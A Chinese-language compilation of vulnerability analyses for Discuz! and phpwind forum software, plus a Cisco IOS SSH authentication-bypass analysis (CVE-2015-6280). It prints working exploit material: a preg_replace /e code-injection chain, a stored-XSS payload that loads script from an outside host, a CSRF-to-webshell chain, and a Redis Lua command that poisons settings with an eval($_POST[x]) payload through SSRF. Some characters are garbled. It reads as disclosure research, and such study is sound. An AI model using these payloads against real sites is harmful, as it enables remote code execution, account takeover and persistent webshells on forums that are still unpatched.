discuz!2.x-3.x后台非创始人远程代码执行漏洞分析

0x00 前言

discuz!2.x-3.x存在一个默认系统插件,存在代码注入。既然是插件,那么不开启情况下需要创始人开启吧?怎么不需要创始人权限了?下面我们来看看,这是一个比较有意思的漏洞。

0x01 漏洞分析

soso_smilies插件从dz2.0到最新版本一直存在。我们来直接看看漏洞代码:

source/plugin/soso_smilies/soso.class.php

�0�2�0�2�0�2 function discuzcode($param) {
global $_G;
if($param[‘caller’] == ‘discuzcode’) {
$smileyoff = $param[‘param’][1];
$allowsmilies = $param[‘param’][4];
$pid = $param[‘param’][12];
if(!$smileyoff && $allowsmilies && strpos($_G[‘discuzcodemessage’], ‘{:soso_’) !== false) {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].’”, “‘.$pid.’”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);
}
} else {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/”, ”, $_G[‘discuzcodemessage’]);
}
}

注意到:

$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].’”, “‘.$pid.’”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);

preg_replace 的 /e 参数,\\1中的双引号,当然问题不是出现在这里,因为前面正则只能是数字,而数字是不能组成代码注入。但注意到后面参数$_G[‘setting’][‘maxsmilies’],这个是配置,后台是否可以通过更改配置来造成命令执行呢?答案是可行的。

0x02 漏洞利用

后台有较多的配置,使普通管理员就能更改$_G[‘setting’][‘maxsmilies’]值,从而实现命令执行,可如果这个插件不开启呢?(默认不开启),管理插件需要创始人权限呀!非也,我们来看看开启插件的方法。发现除了后台创始人外,还有manyou的地方。

\source\plugin\manyou\Service\App.php

�0�2�0�2�0�2 function setPluginAvailable($identifier, $available) {
$available = intval($available);
$plugin = C::t(‘common_plugin’)->fetch_by_identifier($identifier);
if(!$plugin || !$plugin[‘pluginid’]) {
throw new Cloud_Service_AppException(‘Cloud plugin: ‘ . $identifier . ‘ not exists!’, 51108);
}
C::t(‘common_plugin’)->update($plugin[‘pluginid’], array(‘available’ => $available));
return true;
}

而manyou插件有没有开启,取决于值$_G[‘setting’][‘siteuniqueid’]

下面我们来说说利用过程吧!

先激活soso_smilies插件,如已激活,可以略过前面几步,直接跳到最后拿shell

全局 �0�3 域名设置
通过修改表单更新配置(有权限有设置修改表单的地方也行)
siteuniqueid
my_sitekey
my_siteid

image001

 

提交后,配置的值已被更改。

image002

开启插件:

<?php
$my_sitekey=”123456″;
$my_siteid=”9999″;
$apps=array(‘smilies’=>’normal’);
$params[apps]=$apps;
echo serialize($params);
die(md5(‘Cloud|SetApps|’ . serialize($params) . ‘|’ . $my_sitekey));
?>
http://localhost/Discuz_X2_SC_UTF8/upload/api/manyou/my.php
POST
module=Cloud&method=SetApps&params=a:1:{s:4:”apps”;a:1:{s:7:”smilies”;s:6:”normal”;}}&sign=3700828a41be69d741a53887cff552a6

image003

发现插件已经可以用了。

image004

更改变量值maxsmilies

image005

这时,在发贴处加入表情,就能执行(注:代码中1{${phpinfo()}}前面 1 是必须的)

image006

 

0x03 后话

这个漏洞比较有意思的是接口方面的问题,其实那个问题可以更严重些,有面有机会再说说。

phpwind8.x某可getshell漏洞

0x00 前言

漏洞已经通知了官方(http://www.wooyun.org/bugs/wooyun-2016-0220049),官方也已经出了补丁(http://www.phpwind.net/read/3709782)

0x01 帖子正文xss

在文件
require/bbscode.php

function convert($message,$allow,$type="post"){
......
	$searcharray = array(
		"/\[font=([^\[\(&\\;]+?)\]/is",
		"/\[color=([#0-9a-z]{1,15})\]/is",
		"/\[backcolor=([#0-9a-z]{1,10})\]/is",
		"/\[email=([^\[]*)\]([^\[]*)\[\/email\]/is",
	    "/\[email\]([^\[]*)\[\/email\]/is",
		"/\[size=(\d+)\]/eis",
		"/\[align=(left|center|right|justify)\]/is",
		"/\[glow=(\d+)\,([0-9a-zA-Z]+?)\,(\d+)\](.+?)\[\/glow\]/is"
	);
	$replacearray = array(
		"<font face=\"\\1 \">",
		"<span style=\"color:\\1 \">",
		"<span style=\"background-color:\\1 \">",
		"<a href=\"mailto:\\1 \">\\2</a>",
		"<a href=\"mailto:\\1 \">\\1</a>",
		"size('\\1','$allow[size]')",
		"<div align=\"\\1\">",
		"<div style=\"width:\\1px;filter:glow(color=\\2,strength=\\3);\">\\4</div>"
	);
	$message = preg_replace($searcharray,$replacearray,$message);
......
}

可以看到 [font=(x)] (x) 不含 [(&\;
生成 html
<font face=”(x)”>
[email](y)[/email] (y) 不含 [
生成 html
<a href=”mailto:(y) “>(y)</a>
因此可以将 [font=(x)] 和 [email](y)[/email] 结合
生成

<a href="mailto:<font face="(x)"> "> <font face="(x)"> </a>

其中 (x) 不包含 [(&\; 组成 xss

这里的 xss 有些技巧,就是属性中不使用 [(&\; 组成可以触发的xss

[email] [font= onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d=] xxxx[/font]  [/email]

生成

<a href="mailto: <font face=" onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d= "> xxxx</font>  

onmouseover 时触发
要做到隐藏,并且管理员打开就触发,即需要更多技巧
利用系统原生css样式,class=pImg_bg

.pImg_bg {
    background: none repeat scroll 0 0 #000;
    bottom: 0;
    height: 100%;
    left: 0;
    opacity: 0.5;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
    z-index: 1001;
}

挡着整个页面,即一打开即触发js。

整个引入js为

[email] [font= onmouseover=location=/javascript:document.getElementById%28%22xxxxxx%22%29.style.display=%27none%27%3bvar%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F192.168.160.175:8080%2fxxxx.js%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3Bwindow.onerror%3Dfunction%28%29%7Breturn%20false%3B%7D%3Bxxx%3B/.source class=pImg_bg id=xxxxxx d=] xxxx[/font] [/email]

从而引入外部js 192.168.160.175:8080/xxxx.js
(大家可以研究下,效果要js不触发url转跳,和影响页面效果,兼容各种浏览器等。)

0x02 后台getshell

从这里可以看到
http://wooyun.org/bugs/wooyun-2015-0153249
只修复了前台可能的getshell,但没有访问后台添加用户
/hack/bank/index.php

if (!$bk_per || $timestamp - pwFilemtime(D_P."data/bbscache/bank_sort.php") > $bk_per*3600) {
		$_DESPOSTDB = array();
		$query = $db->query("SELECT i.uid,m.username,i.deposit,i.startdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY i.deposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['deposit']) {
				$deposit['startdate'] = $deposit['startdate'] ? get_date($deposit['startdate']) : '';
				$_DESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['deposit'], $deposit['startdate']);
			}
		}
		$_DDESPOSTDB = array();
		$query = $db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['ddeposit']) {
				$deposit['username'] = str_replace (  array ("\\",'&',' ',"'",'"','/','*',',','<','>','#','%','?',' ','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), array ('..', '&', ' ', ''','"','/','*',',','<','>','#','%','?','�6�9','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), $deposit['username'] );
				$deposit['dstartdate'] = $deposit['dstartdate'] ? get_date($deposit['dstartdate']) : '';
				$_DDESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['ddeposit'], $deposit['dstartdate']);
			}
		}
		$wirtedb = savearray('_DESPOSTDB',$_DESPOSTDB);
		$wirtedb.= "\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);
		pwCache::writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');
function savearray($name,$array) {
	$arraydb="\$$name=array(\r\n\t\t";
	foreach ($array as $value1) {
		$arraydb .= 'array(';
		foreach ($value1 as $value2) {
			$arraydb .= '"'.addslashes($value2).'",';
		}
		$arraydb .= "),\r\n\t\t";
	}
	$arraydb .= ");\r\n";
	return $arraydb;
}

可以看到 $_DESPOSTDB 的 username 没有过滤
我们可以通过csrf操控管理员在后台添加带有危险代码的帐号,并且通过设置用户金钱,使之排在列表中。
这里还要绕过一个问题,用户名只能15位,最短的代码执行代码
${@eval($xxxx)}
$xxxx可控变量为5位。
此变更不能GET\POST等带入呀。
但注意到
/hack/bank/admin.php

} elseif($action=="unsubmit"){
	S::gp(array('config'),'P');
	if(!is_numeric($config['open'])) $config['open']=1;
	if(!is_numeric($config['virement'])) $config['virement']=0;
	if(!is_numeric($config['timelimit'])) $config['timelimit']=60;
	if(!is_numeric($config['virelimit'])) $config['virelimit']=500;
	if(!is_numeric($config['virerate'])) $config['virerate']=10;
	if(!is_numeric($config['rate'])) $config['rate']=1;
	if(!is_numeric($config['drate'])) $config['drate']=1;
	if(!is_numeric($config['ddate'])) $config['ddate']=12;
	foreach($config as $key=>$value){
		$rt = $db->get_one("SELECT * FROM pw_hack WHERE hk_name=".S::sqlEscape("bk_$key"));
		if($rt){
			$db->update("UPDATE pw_hack SET hk_value=".S::sqlEscape($value)."WHERE hk_name=".S::sqlEscape("bk_$key"));
		} else{
			$db->update("INSERT INTO pw_hack SET hk_name=".S::sqlEscape("bk_$key").",hk_value=".S::sqlEscape($value));
		}
	}
	updatecache_bk();

可以设置插件时,通过添加 config[v]=code,方式,生成全局变量 $bk_v ,因此命令执行可成。

6

0x03 编写js脚本、执行起来

效果如下

密码 phpwindwooyuna123

0x04 留个问题

新的补丁是否有效?

discuzx某远程命令执行漏洞分析

0x00 简介

Discuz! X是康盛公司(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

0x01 前言

漏洞详细已经通过乌云提交给官方。(http://www.wooyun.org/bugs/wooyun-2016-0214429、http://www.wooyun.org/bugs/wooyun-2016-0213982)

0x02 漏洞简述

discuz!X 支持多种缓存方式,如:文件缓存(基本不用)、数据缓存(默认方式)、第三方缓存(memcache、redis)。通常较高访问量的系统会采用第三方缓存的方式,即使用memcache、redis等方式。而memcache、redis等通用情况下会安装到本地,即127.0.0.1,并且大多数情况下没有身份验证。结合discuz!X 自身存在的ssrf,即可能存在命令执行(本漏洞针对的是discuz!X本身,而非ssrf)。

0x03 漏洞详细

当discuz设置使用缓存后,初始化时会把缓存内容加进全局变量 $_G

source\class\discuz\discuz_application.php

private function _init_setting() {
		if($this->init_setting) {
			if(empty($this->var['setting'])) {
				$this->cachelist[] = 'setting';
			}

			if(empty($this->var['style'])) {
				$this->cachelist[] = 'style_default';
			}
			if(!isset($this->var['cache']['cronnextrun'])) {
				$this->cachelist[] = 'cronnextrun';
			}
		}
		!empty($this->cachelist) && loadcache($this->cachelist);
		if(!is_array($this->var['setting'])) {
			$this->var['setting'] = array();
		}
	}

而在调用缓存的地方

source\function\function_core.php

function output_replace($content) {
	global $_G;
	if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
	if(!empty($_G['setting']['output']['str']['search'])) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
		}
		$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
	}
	if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
			$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
		}
		$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
	}
	return $content;
}

可以看出

$_G[‘setting’][‘output’][‘preg’][‘search’], $_G[‘setting’][‘output’][‘preg’][‘replace’]

这两个缓存可控,因此通过更改缓存内容就可以造成getshell。

而更改缓存内容,需要利用dz的ssrf,而dz并没有注重ssrf,如前一个�0�2WooYun: Discuz!另一处SSRF无须登陆无须条件�0�2,好像也没有修复,并且还存在其它ssrf等。

现在主要是缓存前辍的问题,下面来看看如何绕过。

0x04 漏洞利用

memcache 的利用可以参考�0�2WooYun: bilibili某分站从信息泄露到ssrf再到命令执行�0�2,不过前提条件是知道prefix,所以我们来说说redis。

redis 从2.6开始就支持lua命令,并且key可以模糊查找,因此,我们可以通过下面方式来重设缓存值。

eval "local t=redis.call('keys','*_setting');for i,v in ipairs(t) do redis.call('set',v,'aaaa') end;return 1;" 0

设置方式不需要知道key前辍就能更改。

因为我们只需要通过ssrf更改$_G[‘setting’][‘output’][‘preg’][‘search’] 和 $_G[‘setting’][‘output’][‘preg’][‘replace’]的值,就能达到命令执行的目的。

默认情况下,discuz 的ssrf会调用curl请求,因此会支持gopher或dict协议,而这两条协议对于redis的值设置已经足够了。

通过设置(测试代码,实际中是能过ssrf对内容进行更改)

$a['output']['preg']['search']['plugins'] = "/.*/e";
$a['output']['preg']['replace']['plugins'] = 'ev/*aliyun真牛B*/al($_POST[x]);';
$setting = serialize($a);
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set("xx_setting",$setting);

访问 http://127.0.0.1/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

即是shell的地址。

整个过程中不需要注册用户,
需要条件如下:
1、本机安装了redis(>2.6),discuz设置了本机的redis缓存
2、系统支持php-curl(默认情况下都是支持的)
达到这两个条件就可以了。

0x05 漏洞案例

bilibili某分站从信息泄露到ssrf再到命令执行

金蝶某系统存在远程命令执行

优酷某程序存在远程命令执行

电视猫某应用远程命令执行

 

0x06 漏洞相关阅读

vBulletin rce 0day分析(http://drops.wooyun.org/papers/8261)

Cisco IOS and IOS XE Software SSH Version 2 RSA-Based User Authentication Bypass Vulnerability CVE-2015-6280分析

CVE-2015-6280分析

Cisco IOS and IOS XE Software SSH Version 2 RSA-Based User Authentication Bypass Vulnerability

漏洞链接:�0�2CVE-2015-6280

从CISCO固件c880data-universalk9-mz.SPA.154-3.M2.bin中提取C880DATA.BIN文件,并把e_machine标记为0x14(PowerPC指令)。

我们从官方公告可以知道,想要成功利用这个漏洞,必须知道一个使用了RSA-base 私钥认证的SSHv2的正确用户名和Publickey,否则是不能利用成功。

为了更好的分析这个漏洞,我们先来看看SSHv2的验证过程:

SSHv2验证阶段 客户端 服务器端
密钥交换部分
用户认证部分 SSH2_MSG_SERVICE_REQUEST
用户认证部分 SSH2_MSG_SERVICE_ACCEPT
用户认证部分 SSH2_MSG_USERAUTH_REQUEST none
用户认证部分 SSH2_MSG_USERAUTH_FAILURE
用户认证部分 SSH2_MSG_USERAUTH_REQUEST publickey, have_sig=false
用户认证部分 SSH2_MSG_USERAUTH_PK_OK
用户认证部分 �0�2SSH2_MSG_USERAUTH_REQUEST�0�2 publickey, have_sig=true
SSH2_MSG_USERAUTH_SUCCESS
通道通讯部分

根据公告描述,攻击者必须有正确的用户名以及正确的公钥,可以推测问题出现在第二次(也就是最后一次签名部分)SSH2_MSG_USERAUTH_REQUEST。

接下来,我们去找来OpenSSH源代码和固件一起进行对比分析,这会让我们事半功倍。

 

1

 

我们跳过密钥交换部分(ssh_kex2),直接从验证部分开始分析(ssh_userauth2)。根据最后验证成功的条件,我们进行逆向推理,更容易找到问题,因此从SSH2_MSG_USERAUTH_SUCCESS这个成功封包开始逆向分析。我们从固件中看到如下代码:

 

2

 

 

我们可以看到这个地方就是验证通过后,最后的服务器数据封包。我们往上面回溯。

3

 

 

关键函数在do_pubkey函数, 只要这个函数返回1就可以验证通过。

 

4

 

这段代码对应openssh源代码的send_pubkey_test阶段:

 

 

5

 

在公告中,官方已经明确指出需要正确的用户名和对应的publickey。也就是_pubkey_verify这个函数必须通过。紧接着的部分就是响应服务器的SSH2_MSG_USERAUTH_PK_OK封包(客户端处理参考input_userauth_pk_ok函数),也就是带有签名的SSH2_MSG_USERAUTH_REQUEST,即sign_and_send_pubkey函数

 

6

 

7

 

看这两处的代码,service比较失败,会断开连接,并返回retcode=3; 但当method比较失败的时候,并没有改变retcode的值,也就是前面_publickey_verify的返回结果1,而且,服务器也不主动断开连接。问题就是出在这儿,我们继续看_Exit_with_Cleanup出的代码:

 

8

 

这儿我们就可以看到我们如果method方法不同,我们仍然可以返回1。

 

9

 

 

分析到这儿,就发现和我们最开始分析的对应起来了。我们就知道我们该如何构造我们的PoC代码了。
最后看一下利用成功后的调试信息:

10